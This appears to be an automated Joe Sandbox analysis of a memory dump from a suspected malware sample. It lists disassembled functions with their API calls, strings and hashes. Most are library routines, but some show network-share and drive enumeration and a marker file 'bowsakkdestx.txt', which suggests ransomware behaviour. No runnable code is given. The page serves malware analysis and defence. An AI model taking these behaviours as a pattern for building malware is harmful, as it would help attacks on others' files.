Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

0123456789abcdef, xrefs: 004574C4
0123456789ABCDEF, xrefs: 004574D6
, xrefs: 00457482
+, xrefs: 00457475
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Function 004306EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 0043071B
_strlen.LIBCMT ref: 0043072E
__lock.LIBCMT ref: 0043074A
_malloc.LIBCMT ref: 0043075C
_malloc.LIBCMT ref: 0043076D
_free.LIBCMT ref: 004307B6

Part of subcall function 004242FD: IsProcessorFeaturePresent.KERNEL32(00000017,004242D1,i;B,?,?,00420CE9,0042520D,?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C), ref: 004242FF

_free.LIBCMT ref: 004307AF

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 491e64a43db57974c805febdf09b12bb5f9e435b923affe35b2a08799ec4d9db
Instruction ID: 67f118bcdaa5faec8c00adc58c02bfbdeebce6865ed580ae06d436c8457e8144
Opcode Fuzzy Hash: 491e64a43db57974c805febdf09b12bb5f9e435b923affe35b2a08799ec4d9db
Instruction Fuzzy Hash: 3121DBB1A01715ABD7219B75D855B2FB7D4AF08314F90922FF4189B282DF7CE840CA98

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

lib(%lu), xrefs: 0045071C
error:%08lX:%s:%s:%s, xrefs: 00450792
reason(%lu), xrefs: 00450758
func(%lu), xrefs: 00450734

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
.\crypto\pem\pem_lib.c, xrefs: 00463097
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(00690000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

